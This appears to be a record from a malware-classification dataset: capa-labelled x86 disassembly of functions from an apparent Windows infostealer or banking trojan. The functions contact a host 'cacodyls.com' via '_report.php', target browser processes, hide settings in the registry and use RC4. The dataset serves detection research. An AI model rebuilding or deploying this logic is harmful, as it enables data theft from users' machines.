joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008f80
Capabilities:
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
xor esi, esi
push 0x40c
lea eax, [ebp - 0x410]
push esi
push eax
mov dword [ebp - 0x414], esi
call sub.MSVCRT.dll_memset
push 0x40c
lea ecx, [ebp - 0x820]
push esi
push ecx
mov dword [ebp - 0x824], esi
call sub.MSVCRT.dll_memset
add esp, 0x18
lea edx, [ebp - 0x414]
push edx
push 0x104
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, 0xfffffffc
je 0x100090ba
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x414], esi
je 0x100090ba
lea ebx, [ebp - 0x414]
lea esp, [esp]
push 0x20
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000909c
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
push 5
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
push ebx
mov dword [esi + 0x18], eax
push esi
mov dword [esi + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10008e60
push 0
push 0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0
call ebx
mov dword [ebp + edi*4 - 0x824], eax
test eax, eax
je 0x10009079
inc edi
push 0
push 0
push esi
push 0x10008e60
push 0
push 0
mov dword [esi + 0xc], 1
call ebx
mov dword [ebp + edi*4 - 0x824], eax
test eax, eax
je 0x1000909c
inc edi
mov eax, dword [ebp - 4]
inc eax
cmp dword [ebp + eax*4 - 0x414], 0
lea ebx, [ebp + eax*4 - 0x414]
mov dword [ebp - 4], eax
jne 0x10009010
xor esi, esi
push 0xffffffffffffffff
push 1
lea ecx, [ebp - 0x824]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp edi, esi
jle 0x100090e5
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + esi*4 - 0x824]
push edx
call ebx
inc esi
cmp esi, edi
jl 0x100090d6
push str.AppEvents
push 0x80000001
call fcn.10016840
push str.Console
push 0x80000001
call fcn.10016840
push str.Control_Panel
push 0x80000001
call fcn.10016840
push str.Environment
push 0x80000001
call fcn.10016840
push str.Identities
push 0x80000001
call fcn.10016840
push str.Software
push 0x80000001
call fcn.10016840
push str.System
push 0x80000001
call fcn.10016840
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009160
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x100091d7
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.SoftwareMicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x100091cc
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x10020588
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x1000922f
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.SoftwareMicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x10009226
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x10020588
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10009240
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push esi
push edi
push 0x103
lea eax, [ebp - 0x217]
push 0
push eax
mov byte [ebp - 0x218], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x103
lea ecx, [ebp - 0x10f]
push 0
push ecx
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
xor edi, edi
push 0x104
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x110]
push eax
push str._report.php
call fcn.1000a050
push eax
mov eax, dword [ebp + 8]
call fcn.1000a120
test eax, eax
je 0x10009346
push 1
lea ecx, [ebp - 4]
push ecx
lea eax, [ebp - 0x110]
call fcn.10003fe0
mov esi, eax
test esi, esi
je 0x10009346
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 3
jb 0x10009346
movzx eax, byte [esi]
sub eax, 0x21
jne 0x1000932f
movzx eax, byte [esi + 1]
sub eax, 0x6f
jne 0x1000932f
movzx eax, byte [esi + 2]
sub eax, 0x6b
jne 0x1000932f
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
sar eax, 0x1f
or eax, 1
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10009c50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
push edi
xor edi, edi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10f]
push edi
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x10009d88
mov edx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.SoftwareMicrosoft
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009d7a
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0xc]
push edx
push edi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10009d7a
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009ce3
sub eax, esi
je 0x10009d1d
mov edi, edi
mov cl, byte [ebp + edx - 0x110]
not cl
lea eax, [ebp - 0x110]
mov byte [ebp + edx - 0x110], cl
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009d10
sub eax, esi
cmp edx, eax
jb 0x10009cf0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009d26
sub eax, edx
xor esi, esi
inc eax
je 0x10009d5c
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10009d5c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x10009d7a
lea eax, [ebp - 0x110]
mov edx, eax
sub esi, edx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10009d70
mov eax, dword [ebp - 4]
test eax, eax
je 0x10009d88
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10009da0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10009eed
push esi
xor edi, edi
push 0x103
lea eax, [ebp - 0x113]
push edi
push eax
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x114], 0
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10009ee8
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.SoftwareMicrosoft
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009eda
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10009eda
lea eax, [ebp - 0x114]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009e43
sub eax, esi
je 0x10009e7d
mov edi, edi
mov al, byte [ebp + edx - 0x114]
not al
mov byte [ebp + edx - 0x114], al
lea eax, [ebp - 0x114]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009e70
sub eax, esi
cmp edx, eax
jb 0x10009e50
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009e86
sub eax, edx
xor esi, esi
inc eax
je 0x10009ebc
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10009ebc
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x10009eda
lea eax, [ebp - 0x114]
mov ecx, eax
sub esi, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10009ed0
mov eax, dword [ebp - 4]
test eax, eax
je 0x10009ee8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
test edi, edi
jne 0x10009f01
mov eax, dword [ebp + 8]
push 0x80000002
call fcn.10009c50
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10009f10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
mov esi, eax
push 0x1001be48
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x1000a047
push edi
mov byte [eax], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb edi, edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
neg edi
push eax
add edi, 0x80000001
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0
test esi, esi
je 0x1000a040
cmp dword [ebp + 8], 0
je 0x1000a040
lea edx, [ebp - 0x110]
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10009f90
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009fa5
sub eax, esi
je 0x10009fdd
mov cl, byte [ebp + edx - 0x110]
not cl
lea eax, [ebp - 0x110]
mov byte [ebp + edx - 0x110], cl
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009fd0
sub eax, esi
cmp edx, eax
jb 0x10009fb0
lea edx, [ebp - 4]
push edx
push 0x102
push 0
push str.SoftwareMicrosoft
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a032
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000a001
mov ecx, dword [ebp + 8]
sub eax, edx
mov edx, dword [ebp - 4]
push eax
lea eax, [ebp - 0x110]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000a032
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x1000a040
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 8]
mov byte [ecx], 0xa
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x1000a050
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll__snprintf]
push edi
mov ebx, str.cacodyls.com
push ebx
push str.http:___s
lea eax, [ebp - 0x104]
push 0x104
push eax
call esi
mov edi, dword [sym.imp.WININET.dll_InternetCheckConnectionA]
add esp, 0x10
push 0
push 1
lea ecx, [ebp - 0x104]
push ecx
call edi
test eax, eax
jne 0x1000a111
push 0x10020178
call fcn.10009da0
mov ebx, eax
test ebx, ebx
je 0x1000a0cd
push ebx
push str.http:___s
lea edx, [ebp - 0x104]
push 0x104
push edx
call esi
add esp, 0x10
push 0
push 1
lea eax, [ebp - 0x104]
push eax
call edi
test eax, eax
jne 0x1000a111
push 0x1002027c
call fcn.10009da0
mov ebx, eax
test ebx, ebx
je 0x1000a105
push ebx
push str.http:___s
lea ecx, [ebp - 0x104]
push 0x104
push ecx
call esi
add esp, 0x10
push 0
push 1
lea edx, [ebp - 0x104]
push edx
call edi
test eax, eax
jne 0x1000a111
pop edi
pop esi
mov eax, str.cacodyls.com
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a8d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 4]
push ecx
push 0x20106
push 0
push str.SoftwareMicrosoft
mov dword [ebp - 8], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a931
push 4
lea edx, [ebp - 8]
push edx
push 4
push eax
mov eax, dword [ebp - 4]
push 0x10021ce4
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x1000a940
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 4]
push ecx
push 0x20106
push 0
push str.SoftwareMicrosoft
mov dword [ebp - 8], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a9a1
push 4
lea edx, [ebp - 8]
push edx
push 4
push eax
mov eax, dword [ebp - 4]
push 0x10021de8
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x1000a9b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.SoftwareMicrosoft
mov dword [ebp - 8], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000aa2a
call fcn.10001c50
test eax, eax
mov eax, 0x10021ce4
jne 0x1000aa07
mov eax, 0x10021de8
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
test eax, eax
jne 0x1000aa40
call fcn.10001c50
neg eax
sbb eax, eax
and eax, 0xffffffd8
add eax, 0x2d
mov esp, ebp
pop ebp
ret
Function at 0x1000b8e0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000b3e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000b900
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x1000b9a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x1000ba85
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000ba7e
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp - 0x128], 0
je 0x1000ba65
lea ecx, [ebp - 0x10c]
push ecx
push str.iexplore.exeopera.exejava.exejavaw.exeexplorer.exeisclient.exeintpro.exemnp.exeloadmain.exefirefox.execlmain.execore.exemaxthon.exeavant.exesafari.exesvchost.exechrome.exenotepad.exe
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1000ba65
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [ebp - 0x128]
cmp edi, eax
je 0x1000ba65
push 0x1001f93c
call ebx
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000ba57
xor eax, eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 4], edi
call fcn.100160d0
mov edx, dword [ebp - 4]
mov dword [esi + 8], eax
mov dword [esi], edx
mov dword [ebp - 4], esi
push 0x1001f93c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000b9ed
mov edi, dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000c080
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
test edx, edx
jle 0x1000c112
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x1000c0a3
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + esi]
mov byte [ebp - 2], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
movzx edx, byte [edi + eax]
add edi, eax
mov byte [ebp + 0xb], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xb]
mov dword [ebp - 0x10], edi
movzx edi, dl
mov bl, byte [edi + eax]
add edi, eax
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp - 1], bl
movzx ebx, byte [ebp + 0xb]
mov byte [edi], bl
movzx ebx, byte [ebp + 0xb]
movzx edi, byte [ebp - 1]
add edi, ebx
mov bl, byte [ebp - 2]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x1000c0a0
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1000c140
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [esi + 0x34], 0
je 0x1000c217
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
and ecx, 0x800000ff
push edi
mov dword [esi + 0x34], 0
mov byte [ebp - 0x24], 3
jns 0x1000c18b
dec ecx
or ecx, 0xffffff00
inc ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [ebp - 0x1b], al
mov eax, dword [esi + 8]
mov edx, eax
and edx, 0x800000ff
mov byte [ebp - 0x1c], cl
jns 0x1000c1b2
dec edx
or edx, 0xffffff00
inc edx
mov byte [ebp - 0x1a], dl
cdq
and edx, 0xff
add eax, edx
sar eax, 8
push 0
mov byte [ebp - 0x19], al
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
mov ecx, dword [esi]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
push ecx
push 1
lea edx, [ebp - 0x24]
push 0x20
push edx
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x24]
push eax
push ecx
push 0x20
push edx
call edi
mov eax, dword [esi + 0x10]
inc eax
shl eax, 5
add esp, 0x2c
cmp dword [esi + 0xc], eax
jle 0x1000c216
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 1]
push 1
push edx
mov byte [ebp - 1], 0xd
call edi
add esp, 0x10
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1000c220
Capabilities:
Write file on windows

Disassembly:
cmp dword [esi + 0x2c], 0
je 0x1000c260
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x1000c260
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x1c
ret
Function at 0x1000c660
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x34], 0
push edi
je 0x1000c676
call fcn.1000c140
cmp dword [esi + 0x2c], 0
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
je 0x1000c6ba
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x1000c6ba
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call ebx
add esp, 0x1c
cmp dword [esi + 0x38], 0
je 0x1000c774
mov eax, dword [esi]
push 0
push 0
push eax
call edi
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 0x20]
push 0x20
push edx
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [esi + 4]
mov eax, ecx
and eax, 0x800000ff
mov word [ebp - 0x1f], 0x75f
mov byte [ebp - 0x1d], 0x1a
jns 0x1000c6fb
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1c], al
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
and eax, 0x800000ff
jns 0x1000c71a
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1b], al
mov eax, ecx
cdq
and edx, 0xffff
add eax, edx
sar eax, 0x10
and eax, 0x800000ff
jns 0x1000c739
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1a], al
mov eax, ecx
cdq
and edx, 0xffffff
add eax, edx
sar eax, 0x18
and eax, 0x800000ff
jns 0x1000c758
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esi]
push 0
push 0
push ecx
mov byte [ebp - 0x19], al
call edi
mov edx, dword [esi]
push edx
push 1
lea eax, [ebp - 0x20]
push 0x20
push eax
call ebx
add esp, 0x38
mov ecx, dword [esi]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.MSVCRT.dll_free]
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x1000c7a7
push eax
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x1c]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
add esp, 0x10
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x30]
push eax
call edi
push esi
call edi
mov eax, dword [0x1001fee0]
add esp, 0xc
cmp eax, ebx
je 0x1000c7d4
push eax
call edi
add esp, 4
mov dword [0x1001fee0], ebx
mov dword [0x1001fedc], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c7e0
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
mov edi, eax
mov esi, ecx
test edi, edi
js 0x1000c8e2
cmp edi, dword [esi + 4]
jge 0x1000c8e2
cmp dword [esi + 0x10], 2
jle 0x1000c8e2
cmp dword [esi + 0x28], edi
je 0x1000c84d
call fcn.1000c220
mov eax, dword [esi + 8]
imul eax, edi
add eax, dword [esi + 0xc]
push 0
push eax
mov eax, dword [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x1000c8e2
mov ecx, dword [esi]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0x30]
push ecx
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, 1
jne 0x1000c8e2
mov dword [esi + 0x28], edi
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 8]
mov edi, dword [esi + 0x30]
lea edx, [eax + 1]
cmp edx, dword [0x1001fedc]
jle 0x1000c87a
lea ecx, [eax + eax + 0xa]
mov eax, dword [0x1001fee0]
mov dword [0x1001fedc], ecx
call fcn.1000c120
mov dword [0x1001fee0], eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax + 8]
mov edx, dword [esi + 0x14]
mov eax, dword [edx + 8]
push ecx
mov ecx, dword [0x1001fee0]
add eax, edi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi + 0x18]
mov eax, dword [0x1001fee0]
mov ecx, dword [edx + 8]
mov byte [eax + ecx], 0
add esp, 0xc
cmp byte [eax], 0x20
mov esi, eax
mov ecx, eax
jne 0x1000c8b8
inc esi
cmp byte [esi], 0x20
je 0x1000c8b2
mov dl, byte [esi]
test dl, dl
je 0x1000c8cb
sub esi, eax
mov byte [ecx], dl
mov dl, byte [esi + ecx + 1]
inc ecx
test dl, dl
jne 0x1000c8c0
mov byte [ecx], 0
cmp ecx, eax
je 0x1000c8e4
dec ecx
cmp byte [ecx], 0x20
jne 0x1000c8e4
mov byte [ecx], 0
cmp ecx, eax
jne 0x1000c8d2
pop edi
pop esi
ret
xor eax, eax
pop edi
pop esi
ret